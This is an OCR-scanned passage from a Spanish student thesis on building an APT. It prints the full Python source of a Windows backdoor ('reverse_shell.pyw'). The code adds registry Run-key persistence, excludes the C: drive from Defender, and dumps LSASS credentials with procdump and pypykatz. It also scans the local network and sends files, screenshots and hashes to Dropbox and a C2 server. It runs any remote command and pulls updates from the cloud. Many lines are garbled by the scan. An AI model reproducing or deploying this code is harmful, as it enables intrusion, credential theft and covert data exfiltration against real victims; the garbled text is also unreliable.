print(’Starting server. Listening on port 8888.’)
FileServer () .start(8888)

Listing 6.7: Codigo fuente de server.py

6.4. Cddigo del reverse_shell (reverse_shell.pyw)

#1/usr/bin/python

import socket

import subprocess

import os

import base64

import shutil

import sys

import time

import requests

from mss import mss

from ping3 import ping

import dropbox

from getmac import get_mac_address as gma
import getpass

import datetime

from key_generator.key_generator import generate
from cryptography.fernet import Fernet
from filelock import Timeout, FileLock
from pathlib import Path

import paramiko
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import grpc
import chunk_pb2, chunk_pb2_grpc

from pypykatz.pypykatz import pypykatz
from pypykatz.registry.live_parser import LiveRegistry
from pypykatz.registry.offline_parser import OffineRegistry

#pip install mss pypykatz getmac requests dropbox ping3 key_generator cryptography grpcio grpcio-tools

protobuf filelock paramiko

fg gt add st aadadadaadadadadadadsdsdaidsds
HHARHBARARAHRRRRRARARRRRRRARARRRRRRARARARRRRHRARARRRRHRHRARARRRRHRHRARRAHR

# Variables globales, se inicializan en initVariables()
version = ""
ipCC = ""

tempFolder =

dbx = ""

"o

host_ip =

o

subnet =
upPcs = []

username =
macAdd = ""
exit = ""
scanned =

o

start =

(IRl

sock =
encrKey

CHUNK_SIZE = 1024 =« 1024 # 1MB
stub = ""

lock = ""

persistName = "dolphin"
HURRAHHHBHAARRRHRAHHRBRAARRRRAARRRAHHRBHRAARRRAHHRBRHHRRRRAHRRRAAHRRAAHRRHAH
HURRAHHRBHAHHRRRAHHRRARHRBRAHHRRARHRBRAHRRRAHHRRRAHRRRHHHRRRHHHRRRHH R R

HHAEBBBEHHHRHRBRBRARHARRRBRBRA AR ARBRBRARHERHRBRB R ARHRBRAB R AR HRARABRH RS
# Comunicacion #
HHBHBHEHHRHRRRBRARAARARBRBRAERARARB AR AR ARARAB R AR ARARARA AR AR AR RS

def to_byte(s):
if type(s) is bytes:
return s
elif type(s) is str or (sys.version_info[0] < 3 and type(s) is unicode):
return s.encode( ' utf-8")
else:
raise TypeError("Expected bytes or string, but got %s." % type(s))

def to_str(s):
if type(s) is str:
return s
elif type(s) is bytes:
return s.decode(’utf-8’)
else:
raise TypeError("Expected bytes or string, but got %s." % type(s))

def generate_key():
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88 global encrKey

89

90 date = datetime.datetime.now ()
91

92 day = str(date.day)

93 month = str(date.month)

94 year = str(date.year)

95 secret = int(day+month+year)

96 key = generate(seed = secret, max_atom_len = 8, min_atom_len = 8).get_key ()
97 key = key[:-1]+"="

98 encrKey = Fernet (key)

99

100 def decryptFile(filename):

101 with open(filename, ’rb’) as f:
102 content = f.read()

103 f.close()

104

105 decrypted_data = encrKey.decrypt(content)
106

107 with open(filename, ’wb’) as f:
108 f.write(decrypted_data)

109 f.close()

110

112 def encryptFile(filename):

113 with open(filename, ’rb’) as f:
114 content = f.read()
115 f.close()

117 encrypted_data = encrKey.encrypt(content)

118

119 with open(filename, ’wb’) as f:
120 f.write(encrypted_data)

121 f.close()

122

123 def get_file_chunks(filename):

124 with open(filename, ’rb’) as f:

125 while True:

126 piece = f.read(CHUNK_SIZE);

127 if len(piece) ==

128 return

129 yield chunk_pb2.Chunk(buffer=piece)
130

132 def save_chunks_to_file(chunks, filename):

133 with open(filename, ’'wb’) as f£:
134 for chunk in chunks:
135 f.write(chunk.buffer)

137 def downloadToCnC(in_file_name):

138 encryptFile(in_file_name)

139 chunks_generator = get_file_chunks(in_file_name)

140 response = stub.upload(chunks_generator)

141 decryptFile(in_file_name)

142 assert response.length == os.path.getsize(in_file_name)
143

144 def uploadFromCnC(target_name, out_file_name):

145 response = stub.download(chunk_pb2.Request(name=target_name))
146 save_chunks_to_file(response, out_file_name)

147 decryptFile(out_file_name)

148

149 def getCmd():

150 request = chunk_pb2.Empty ()

151 response = stub.getCmd(request)

152 command = response.name.encode ()

153 command = encrKey.decrypt (command)
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command = command.decode().rstrip()
return command

def sendResponse(x):
data = to_byte(x)
encrypted_data = encrKey.encrypt(data)
data = to_str(encrypted_data)
request = chunk_pb2.Request(name=data)
stub.getResponse(request)

HAHBRBHRAHARBRERBARBHBRBHRA R AR BRRARERBRERBARAHERBRR AR B RERBAR AR RSB HR A Y
# Dropbox #
HAHBRHHRHARARBRRRHARAHBRBARAHARBRRARERARRAHARARARRRRARERARBA R AR A HRARERAHH

def uploadDropbox(filepath,filename):
global macAdd
global username

try:
username = getpass.getuser ()
with open(filepath+filename,’rb’) as file:
uploadFile = file.read()

dbx.files_upload(uploadFile, ’/’+macAdd+’/’+
username+’/’+filename, mode=dropbox.files.WriteMode.overwrite)
return True
except Exception as e:
print (e)
return False

HHEBRHEHARHRBRBRARHRARRRBRBRAERRRRRBRABRHARRRARABRAEHRARARARAB AR ARARARABRH RS
# Utilidades #
HBHHHARBHARBHAABHARBHHRBRHARBH AR B RAARRHA BB H AR B H AR BB HARBH AR R HARRHHAABHHARRH

# Inicia las variables globales
def initVariables():
global exit
global scanned
global start
global version
global ipCC
global dbx
global host_ip
global subnet
global username
global macAdd

exit = False
scanned = False
start = time.time ()

# Version del script para saber si hay una nueva version
version = 1

# IP de CnC

ipCC = "192.168.0.200"

# Token y componente dropbox para subir y descargar archivos
token = ~XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX’
dbx = dropbox.Dropbox(token)

# Ip y subred de la maquina local

host_ip = socket.gethostbyname (socket.gethostname ())
subnet = host_ip.split(".")
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subnet = subnet[0] + + subnet[1] + + subnet[2] +
# Nombre de usuario y macAddress
username = getpass.getuser ()

macAdd = gma()

generate_key ()

def saveResult(command, content):
with open(tempFolder+"result.txt","a") as r:
®¥\n")

+ command + "\n")

r.write

.write("Command:

.write

.write

r (

r (e

r.write("Result: \n" + content + "\n")

r (ST BEHGEIGBGEIISEE\ " )
r (

.close ()
def is_admin():

global admin
try:

temp = os.listdir(os.sep.join([os.environ.get(’SystemRoot’,

except:
admin = "[!!] User Privileges!"”
return False

else:
admin = "[+] Admin Privileges!"”
return True

def check_internet():
url = "http://www.google.com"
timeout = 5

try:
request = requests.get(url, timeout=timeout)
return True

except:
return False

def screenshot():
with mss() as screenshot:
screenshot.shot ()

def webDownload(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)

def downloadToFolder (url):
global tempFolder
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(tempFolder+file_name, "wb") as out_file:
out_file.write(get_response.content)

def checkOnlyInstance ():
global lock

dirTemp = "C:\\Temp\\"
if not os.path.exists(dirTemp):

os.makedirs(dirTemp)

if not is_admin():
time.sleep(1)
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lock_path = Path(dirTemp + "instance_123123.lock")

lock_path. touch(exist_ok=True)
lock = FilelLock(lock_path, timeout=1)

try:
lock.acquire(timeout=1)

print ("Running")

except Exception as e:
print ("Lock busy, shutting down")
sys.exit ()

HARRAAARAAAARRRR BB BB R BB HHBRBHHHHRHRABRRRAAARRRRARAR AR BB BB BB BB BB RS HHH
# Reconocimiento #
HARRAAAAAAARARRBRBH BB BB BB R HHHHHHHHHHHHHHHHRAAAAARRRAAAAA R AR B R BB B R R R B R HHH

def sysinfo():
global scanned
global admin

sysFile = open(tempFolder+"sys.txt", "uw")

is_admin ()
sysFile.write(admin+"\n\n")

commands = []

#https://jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/

antivCmd = "powershell.exe Get-CimInstance -Namespace root/SecurityCenter2 -ClassName
AntivirusProduct"

commands = ["whoami","systeminfo","net localgroup","net share", "net localgroup Administradores",
net localgroup Administrators","net user",

"net groups","net user /domain",’net group /domain "Admins. del dominio"’,’net group /domain

Domain Admins"’,"tasklist /v","net accounts",

antivCmd, "nltest /dsgetdc:%userdomain%","klist tickets","tree C:/"]

for ¢ in commands:
result = "none"
try:
proc = subprocess.Popen(c, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode(’utf-8’)
except:

result = result.decode(’latinl’)
pass

sysFile.write("Command: "+ c + "\n\n")
sysFile.write(result)
sysFile.write ("\n#########HHHBHHHRHBHHRHHBHHHHHHHHBRAR")
SySFile.write("#####################################\n")
except:

pass

sysFile.close()
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349

350 uploaded = uploadDropbox(tempFolder, "sys.txt")
351

352

353 # Si no se han subido correctamente se reintenta
354 for i in range(1,3):

355 if not uploaded:

356 time.sleep(2)

357 if not uploaded:

358 uploaded = uploadDropbox (tempFolder,’ sys.txt’)
359

360 if not uploaded:

361 scanned = False

362

363 os.remove (tempFolder+’sys.txt’)

364

365 # Intenamos hacer un scanneo de la red y si los archivos
366 # no se suben a dropbox lo consideramos fallido.
367 def scanNetwork () :

368 global upPcs

369 global scanned

370 global tempFolder

371

372 # PING SWEEP SCAN

373 if len(upPcs) == 0:

374 pingSweep ()

375

376 # ESCANEO DE PUERTOS FRECUENTES

377 commonPorts ()

378 uploadl = uploadDropbox(tempFolder,’portScan.txt’)
379

380 # ESCANEO SERVIDORES DNS

381 dnsScan ()

382 upload2 = uploadDropbox(tempFolder,’dnsServers.txt’)
383

384 # CARPETAS DE RED

385 netFolders ()

386 upload3 = uploadDropbox(tempFolder, networkFolders.txt’)
387

388 # ESCANEO COMPLETO

389 #fullScan ()

390 #uploadDropbox (’ fullPortScan.txt’)

391

392 # Si no se han subido correctamente se reintenta

393 try:

394 for i in range(1,3):

395 if not uploadl or not upload2 or not upload3:
396 time.sleep(2)

397 if not uploadl:

398 uploadl = uploadDropbox (tempFolder, portScan.txt’)
399 if not upload2:

400 upload2 = uploadDropbox(tempFolder,’dnsServers.txt’)
401 if not upload3:

402 upload3 = uploadDropbox(tempFolder, 'networkFolders.txt’)
403 except:

404 pass

405 if not uploadl or not upload2 or not upload3:

406 scanned = False

407 os.remove (tempFolder+ portScan.txt’)

408 os.remove (tempFolder+’dnsServers.txt’)

409 os.remove (tempFolder+ networkFolders.txt’)

410

411

412

413

414 def netFolders():
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global subnet
global upPcs

output =

scanFile = open(tempFolder+"networkFolders.txt", "w")
try:
for pc in upPcs:

proc = subprocess.Popen("net view \\\\"+pc, shell=True, stdout=subprocess.PIPE,
.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode(’utf-8’)
except:
result = result.decode(’latinl’)
pass

scanFile.write(result)
scanFile.write ("\nN#######HHHHHARRHHBHBHHRRARHHHHHRARAHH")
scanFile.write ("##########HAHHRHRRBRHHHHHHBRBHHHAH#AAA\D")
except:
pass

scanFile.close()

def pingSweep():
global subnet
global upPcs
for i in range(0, 255):
target_ip = subnet + str(i)
response = ping(target_ip, timeout=0.01)

if str(response) != "None":
upPcs.append (target_ip)
# si el ping esta bloqueado por el firewall
# asumimos que todos los equipos estan activos
if len(upPcs) < 2:
upPcs = []
for i in range(0, 255):
target_ip = subnet + str(i)
upPcs.append (target_ip)

# COMMON PORT SCAN
def commonPorts () :
global upPcs

scanFile = open(tempFolder+"portScan.txt", "w"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:

# 21(ftp),22(ssh),23(telnet),53(DNS) ,80Chttp) ,443(https) ,445(smb) ,3389(rdp)
commonPorts = [21,22,23,53,80,443,445,3389]

#para cada pc activo intentamos conectarnos a los puertos mas comunes
for pc in upPcs:
scanFile.write("IP: %s \n" % pc)
for port in commonPorts:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout (0.5)
connection = s.connect_ex ((pc,port))

if(connection == 0):

stderr=subprocess
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scanFile.write("\t %d OPEN \n" % port)
s.close()
except:
pass

scanFile.close()
s.close ()

# DNS SERVERS SEARCH
def dnsScan():
global subnet

scanFile = open(tempFolder+"dnsServers.txt", "w"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
for i in range(0, 255):
target_ip = subnet + str(i)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout (0.5)
connection = s.connect_ex((target_ip,53))

if(connection == 0):
scanFile.write("DNS server: %s \n" % target_ip)
s.close ()
except:
pass

scanFile.close()
s.close ()

# COMPLETE SCAN
def fullScan():
global upPcs

scanFile = open(tempFolder+"fullPortScan.txt", "w")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
for pc in upPcs:
scanFile.write("IP: %s \n" % pc)
for port in range(0,65535):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout (0.5)
connection = s.connect_ex ((pc,port))

if(connection == 0):
scanFile.write("\t %d OPEN \n" % port)
s.close ()
except:
pass

scanFile.close()
s.close ()

HARRHRHRARARARRHRHRARARRHRHRARARRRRHRHRARARRRRARARARRHRRRARARARRHRARARHY

# Actualizacion #

HHARBAHHRBRHAAARBRAARBRAAARBRAHRRRAHHRBRAARRRAAHRRRHARRRAHAHRRRHAHRRAAHRRHRH

def update():
global ipCC
global version
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global persistName
try:

metadata, res = dbx.files_download(path="/version.txt")
lastVersion = int(res.content)

if lastVersion>version:
with open(tempFolder+"reverse_shell.exe", "wb") as f:

metadata, res = dbx.files_download(path="/reverse_shell.exe")

f.write(res.content)
f.close()

#Hacer la persistencia

location = os.environ["appdata"] + "\\"+persistName+".exe"#fRL6zEcB9E.exe"

if not os.path.exists(location):

subprocess.call(’reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t

REG_SZ /d "’ + location + '"’, shell=True)
shutil.copyfile(tempFolder+"reverse_shell.exe", location)
os.remove (tempFolder+"reverse_shell.exe")

except:
pass

HHARHRARAHAHRRRARARARRRRRRARARARRRRARARRRRHRHRARARRRRHRHRARRRRRRHRHRARRHR

# Persistencia #

RURHAHHRBHRAARRRAAHRRRAAHRRRAARRRRHHRBAAARBRAHHRBRHHRRRHAAHRRRHAHRRAHAHR R

def persistence():
global tempFolder
global persistName

# Carpeta temporal donde se guardaran todos los archivos
tempFolder = os.environ["appdata"] + "\\dolphin\\"

try:
if not os.path.exists(tempFolder):
os.makedirs(tempFolder)
except:
pass

if is_admin():
try:
location = os.environ["appdata"] + "\\"+persistName+".exe
if not os.path.exists(location):
shutil.copyfile(sys.executable,location)

"

subprocess.call(’reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t

REG_SZ /d "’ + location + '"’, shell=True)

except:
pass
else:
try:
location = os.environ["appdata"] + "\\"+persistName+".exe
if not os.path.exists(location):
shutil.copyfile(sys.executable,location)

"

subprocess.call(’reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v dolphin /t

REG_SZ /d "’ + location + ’"’, shell=True)
except:
pass

def listUsers():
c = "dir /b C:\\Users"
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proc = subprocess.Popen(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode(’utf-8")
except:
result = result.decode(’latinl’)
pass
result = result.splitlines()
users = []

for i in result:
if il="Public":
users.append (i)
return users

HAHBRHHRHARERBRRRHHRAHBHRHHRHAHARBRRARERBHBHAHHRHHRHRRRR AR R B HR AR AR B HRAHERAHY
# Priviledge escalation #
HAHBRBHRAHBRBRRBRHRAB R BB BHRAHRR BB RERBRR AR BHR AR HB R AR RSB R LR AR B R RS H AR H

def dumpHash () :
try:
with open(tempFolder+"procdump64.exe", "wb") as f:
metadata, res = dbx.files_download(path="/procdump64.exe")
f.write(res.content)
f.close()

tempDir = os.getcwd ()

os.chdir (tempFolder)

# ejecutar: procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
os.system("procdump64.exe -accepteula -r -ma lsass.exe lsass.dmp")
os.remove ("procdump64.exe")

# copiamos el archivo para evitar que el AV lo borre
shutil.copyfile("lsass.dmp", "hash.dmp")
os.remove("lsass.dmp")

parsedDump = pypykatz.parse_minidump_file("hash.dmp")
parsedDump = str(parsedDump)

hashFile = open("hash.txt", "w")
hashFile.write(parsedDump)
hashFile.close()

uploadDropbox (tempFolder, "hash.txt")

os.remove ("hash.txt")
os.remove ("hash.dmp")

os.chdir (tempDir)

return True
except:

return False

pass

HHBHBHAHEHRARRRBRARHRARRRBRBRARRARRRBRABRAARHRARABRAB AR ARARARABRHARARARARARHHHR
# Command and Control #
HBHHAHBRHARBHAABHARBHARBRHARBH AR B RAHRHHABRHARBHARBHHARBH AR R HARBH A AR HHHRRH

def checkCommands () :

content =
username = getpass.getuser ()
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try:
metadata, res

dbx.files_download(path="/"+macAdd+"/"+username+"/commands.txt")

content = res.content

except:
pass

if len(content) > 1:

# Activamos la ejecucion de scripts de powershell

try:

c = "powershell.exe Set-ExecutionPolicy RemoteSigned

subprocess.Popen(c, shell=True, stdout=subprocess.PIPE,

stderr=subprocess.PIPE, stdin=subprocess.PIPE)

except:
pass

content = content.decode ()

content = content.splitlines()

i=0

while i < len(content)
result = "none"
folder = ""

#en el caso de que sea un comando powershell

if "powershe

command =

if ".psl"
folder =

11

in content[i]:

content[i].split(":::")[1]

in
t

command :
empFolder

# una vez leido lo ejecutamos

try:

proc = subprocess.Popen("powershell.exe "+folder+command,
stdout=subprocess.PIPE,

result = proc.stdout.read() + proc.stderr.read()
try:
result = result.decode(’latinl’)
except:
result = result.decode(’utf-8")
pass
except:
pass
saveResult (command,result.rstrip().replace("\n",""))
else:
command = content[i].replace("\n","")
try:

runCommand ( command )

except Exception as e:

pass
i+=1

uploaded = uploadDropbox(tempFolder, "result.txt")

# Si no se han subido correctamente se reintenta

for i in range(1,3):

if not uploaded:

time.sleep(2)

if not uploaded:

uploaded

uploadDropbox (tempFolder, result.txt’)

os.remove (tempFolder+"result.txt")

-Scope CurrentUser"

shell=True,

stderr=subprocess.PIPE, stdin=subprocess.PIPE)
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if uploaded == True:
dbx.files_delete(path="/"+macAdd+"/"+username+"/commands.txt")

def runCommand (command) :
global username

result = "none"
if command == "help":
help_options = ’'’’Available commands:
cd (directory) - to move to another directory

download (file) - download a file from the target pc

upload (file) - upload a file to the target pc

screenshot - take a screenshot from the target pc and send it to the server
get (url) - download a file from a url to the target pc

check - check if the program has admin privileges

start (program) - start a program in target pc

pingSweep - activate a ping scan in the network

commonScan - look for common ports

dnsScan - look for dns servers

netFolders - list all network folders available

fullScan - scan everything of everything (takes long)
powershell ::: script.psl - runs script previously downloaded
powershell ::: command - run powershell command

result = help_options

elif command[:8] == "download":
#upload file to dropbox
fileDir = command[9:].rsplit(’\\’,1)[0]+"\\"
fileName = command[9:].rsplit(’\\’,1)[1]
if uploadDropbox(fileDir,fileName):

result = "Succesfully downloaded to cloud"
else:
result = "Failed to download"
elif command[:6] == "upload":
try:

with open(tempFolder+command[7:], "wb") as f:
username = getpass.getuser ()
metadata, res = dbx.files_download(path="/"+macAdd+"/"+username+"/"+command[7:])
f.write(res.content)
f.close()
result = "File succesfully uploaded"”

if ".psl" in command[7:]:
subprocess.Popen("powershell.exe Unblock-File"+tempFolder+command[4:],

shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

except:
result = "File failed to upload”
pass

" "

elif command[:3] == "get
try:
tmp = os.getcwd()
os.chdir(tempFolder)
downloadToFolder (command[4:])
os.chdir (tmp)

result = "[+] File downloaded"”

if ".psl" in command[4:]:
subprocess.Popen("powershell.exe Unblock-File"+tempFolder+command[4:],

shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

except:
result = "[!!] Download fail"
elif command[:10] == "screenshot":
try:

Pagina 80



805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870

TFG - Creacion de una APT - Escuela de Ingenieria Informatica

2020/2021

screenshot ()

tempDir = os.getcwd ()

uploadDropbox (tempDir+"\\","monitor-1.png")
os.remove ("monitor-1.png")

result = "[+] Screenshot uploaded"
except:
result = "[!!] Failed to take screenshot"
elif command[:5] == "check":
try:

is_admin ()
result = admin

except:
result = "Cant perform privileges check"”
elif command[:5] == "start":
try:
subprocess.Popen(command[:6], shell=True)
result = "[+] %s started" % str(command[:6])
except:
result = "[!!] Failed to start"

elif command[:9] == "pingSweep":
try:
pingSweep ()
result = str(upPcs)

except:
result = "[!!] Failed to make ping scan"
elif command[:10] == "commonScan":
try:
if len(upPcs) == 0:

pingSweep ()
commonPorts ()
uploadDropbox (tempFolder, "portScan.txt")
os.remove (tempFolder+"portScan.txt")

result = "[+] Scann uploaded"”
except:
result = "[!!] Failed to make common ports scan"
elif command[:7] == "dnsScan":
try:
dnsScan ()

uploadDropbox (tempFolder, "dnsServers.txt")
os.remove (tempFolder+"dnsServers.txt")

result = "[+] Scann uploaded"”
except:
result = "[!!] Failed to make dns scan"
elif command[:10] == "netFolders":
try:
if len(upPcs) == 0:

pingSweep ()
netFolders ()
uploadDropbox (tempFolder, "networkFolders.txt")
os.remove (tempFolder+"networkFolders. txt")

result = "[+] Scann uploaded”
except:
result = "[!!] Failed to make network folders scan"
elif command[:8] == "fullScan":
try:
if len(upPcs) == 0:
pingSweep ()
fullScan ()

uploadDropbox (tempFolder, "fullPortScan.txt")
os.remove (tempFolder+"fullPortScan.txt")

result = "[+] Scann uploaded"”
except:
result = "[!!] Failed to make full scan"

else:
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proc = subprocess.Popen(command, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode(’utf-8")
except:
result = result.decode(’latinl’)
pass
result = result.rstrip().replace("\n","")

saveResult (command,result)

# Intenta conectar durante 30 seg y luego hacer escaneo de puertos #
def connection():

global sock

global exit

global start

global scanned

global ipCC

global stub

start = time.time ()
scanned = False

while True: # si exit=True se acaba el programa

i=20
while i < 6:
#intentamos conectarnos a CnC
try:
channel = grpc.insecure_channel (ipCC+’:8888")
stub = chunk_pb2_grpc.FileServerStub(channel)
shell ()
except Exception as e:
#print (e)
pass

if exit == True:
sys.exit ()

# Comprobamos si tenemos comandos pendientes que ejecutar
try:

checkCommands ()
except:

pass

time.sleep(5)
i+=1

# Si no conseguimos conectarnos a CnC escaneamos la red y buscamos
# informacion del sistema

end = time.time() - start

if end > 30 and not scanned:
scanned = True
scanNetwork ()
sysinfo ()

# Cada hora comprobaremos si hay comandos disponibles

# o si nos podemos conectar a CnC
time.sleep(10)
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937

938

939

940 def shell():

941 global exit

942 global start

943 global encrKey

944

945 while True:

946 command = getCmd ()

947

948 if command == "q":

949 start = time.time ()

950 break

951 elif command == "shutdown":

952 exit = True

953 start = time.time ()

954 break

955 if command == "help":

956 help_options = ’’’Available commands:

957 cd (directory) - to move to another directory

958 download (file) - download a file from the target pc
959 upload (file) - upload a file to the target pc

960 screenshot - take a screenshot from the target pc and send it to the server
961 get (url) - download a file from a url to the target pc
962 check - check if the program has admin privileges
963 start (program) - start a program in target pc

964 pingSweep - activate a ping scan in the network

965 commonScan - look for common ports

966 dnsScan - look for dns servers

967 netFolders - list all network folders available

968 fullScan - scan everything of everything (takes long)
969

970 ssh [host] [username] [password] - enter "exit" to quit session
971 dumpHash - attemp to dump hashes (admin required)
972 dumpCreds - attemp to get credentials of the machine
973

974 shutdown - shutdown backdoor

975 q - disconnect from port

976 Y

977 sendResponse (help_options)

978 elif command[:2] == "cd" and len(command) > 1:

979 try:

980 os.chdir(command[3:])

981 sendResponse (" [+] Directory changed to: " + os.getcwd())
982 except:

983 sendResponse("[!!] Failed to move to directory")
984 pass

985 elif command[:8] == "download":

986 downloadToCnC (command[9:])

987

988 elif command[:6] == "upload":

989

990 uploadFromCnC (command[7:], command[7:])

991

992 elif command[:3] == "get":

993 try:

994 webDownload (command [4:])

995 sendResponse (" [+] File downloaded")

996 except:

997 sendResponse("[!!] Download fail")

998 elif command[:10] == "screenshot":

999 try:

1000 screenshot ()

1001 downloadToCnC ("monitor-1.png")

1002 os.remove ("monitor-1.png")
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except:
sendResponse("[!!] Failed to take screenshot")
elif command[:5] == "check":
try:

is_admin ()
sendResponse (admin)
except:
sendResponse("Cant perform privileges check")

elif command[:5] == "start":
try:

subprocess.Popen(command[:6], shell=True, stdout=subprocess.PIPE,

=subprocess.PIPE)
sendResponse (" [+] started "+str(command[6:])+" \n")

except Exception as e:

print(e)
sendResponse("[!!] Failed to start")
pass
elif command[:9] == "dumpCreds":
try:

result = dumpCreds ()
sendResponse (result)
except:
sendResponse("[!!] Failed to get credentials")

elif command[:9] == "pingSweep":
try:
pingSweep ()
sendResponse (str(upPcs))
except Exception as e:

print (e)
sendResponse("[!!] Failed to make ping scan")
elif command[:10] == "commonScan":
try:
if len(upPcs) == 0:

pingSweep ()

commonPorts ()

with open(tempFolder+"portScan.txt","rb") as f:
sendResponse (f.read())
f.close()

#downloadToCnC(tempFolder+"portScan.txt")
os.remove (tempFolder+"portScan.txt")

except:
sendResponse("[!!] Failed to make common ports scan")
elif command[:7] == "dnsScan":
try:
dnsScan ()

with open(tempFolder+"dnsServers.txt","rb") as f:
sendResponse (f.read())
f.close()
#downloadToCnC(tempFolder+"dnsServers.txt")
os.remove (tempFolder+"dnsServers.txt")
except:
sendResponse("[!!] Failed to make dns scan")

elif command[:10] == "netFolders":
try:
if len(upPcs) == 0:
pingSweep ()
netFolders ()
with open(tempFolder+"networkFolders.txt","rb") as f:
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sendResponse (f.read())
f.close()
os.remove (tempFolder+"networkFolders.txt")
except:
sendResponse("[!!] Failed to make network folders scan")

elif command[:8] == "fullScan":
try:
if len(upPcs) == 0:
pingSweep ()
fullScan ()

with open(tempFolder+"fullPortScan.txt","rb") as f:
sendResponse (f.read())
f.close()

#downloadToCnC(tempFolder+"fullPortScan.txt")

os.remove (tempFolder+"fullPortScan.txt")
except:

sendResponse("[!!] Failed to make full scan")

elif command[:3] == "ssh":
command = command.split(" ")
if len(command) <4:
sendResponse ("Empty paremeters')
else:

if len(command[1])>0 and len(command[2])>0 and len(command[3]) >0:

sshConnection(command[1], command[2], command[3])
sendResponse ("Session ended")

else:
sendResponse ("Empty paremeters')

elif command[:8] == "dumpHash":
if not is_admin():
sendResponse ("Admin privileges required")
else:
success = dumpHash ()
if success:
sendResponse ("Hashes dumped to cloud")
else:
sendResponse("Failed to dump")

else:
proc = subprocess.Popen(command, shell=True,

stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode( utf-8")
except:
result = result.decode(’latinl’)
pass

sendResponse (str(result))
def sshConnection(h, u, p):

host = h

user = u

password = p

command = "ssh "+user+"@"+host

if len(host)>0 and len(user)>0 and len(password)>0:
try:
ssh = paramiko.SSHClient ()
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ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect (host, username=user, password=password)
sendResponse("Session started")

exit = False
while not exit:

command = getCmd ()

if command == "exit":
exit = True
ssh.close ()
else:
stdin, stdout, stderr = ssh.exec_command (command)
result = stdout.read()

try:
result = result.decode( utf-8")
except:

result = result.decode(’latinl’)
pass
sendResponse (result)
except:
pass

def disableAV():

subprocess.call(’powershell Add-MpPreference -ExclusionPath "C:"’, shell=True)

#https://www.programcreek.com/python/example/112016/pypykatz.pypykatz.pypykatz.pypykatz

def dumpCreds():
result = "none"
try:
lr = LiveRegistry.go_live ()
except Exception as e:
result = e
try:
lr = OffineRegistry.from_live_system()
except Exception as e:
result = e
pass
pass
result = str(lr)
return result

11

Random Strings to change the hash
mgYmNQbpmvmgYmNQbpmv
VjalcynNEQmgYmNQbpmv
XJHI8VjVcImgYmNQbpmv
6UyNRacxwFmgYmNQbpmv
mgYmNQbpmvmgYmNQbpmv
6UyNRacxwFmgYmNQbpmv
6UyNRacxwFmgYmNQbpmv
HW7x4WDZHnmgYmNQbpmv
Q3mKKia2eFmgYmNQbpmv
HW7x4WDZHnmgYmNQbpmv
HW7x4WDZHnmgYmNQbpmv
XJHI8VjVcImgYmNQbpmv
wzENgn2BDgmgYmNQbpmv
wzENgqn2BDgmgYmNQbpmv
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RHARHBARAARHRRRARARARRRRRRARARARRRRHRARRRRRRHRARARRARRRHRARRRRHRHRARARRHR

# Programa principal #

RARRAHHRBRHARRRRAHRRRAARRRRAARBRRAHRBRAARRRAAHRRRHHRRRHAAHRBRHARRRAAHRRHRAH

# Comprobamos que somos la unica instancia activa
checkOnlyInstance ()

#si somos admin comprobamos que el AV esta desactivado
if(is_admin()):
disableAV ()

# PERSISTENCIA - hacemos la persistencia del programa actual
persistence ()

# Comprobamos si tenemos conexion a internet
attempts = 0
while not check_internet():
# Si no tenemos internet esperamos 5 min y volvemos a intentarlo
time.sleep(300)
# Si llevamos mas de 6 intentos apagamos el programa
if attempts > 6:
sys.exit ()
attempts += 1

# Inicializamos las variables globales
initVariables ()

# ACTUALIZACION - Comprobar si hay una actualizacion
update ()

# COMMAND AND CONTROL
connection ()

Listing 6.8: Codigo fuente de reverse_shell.py
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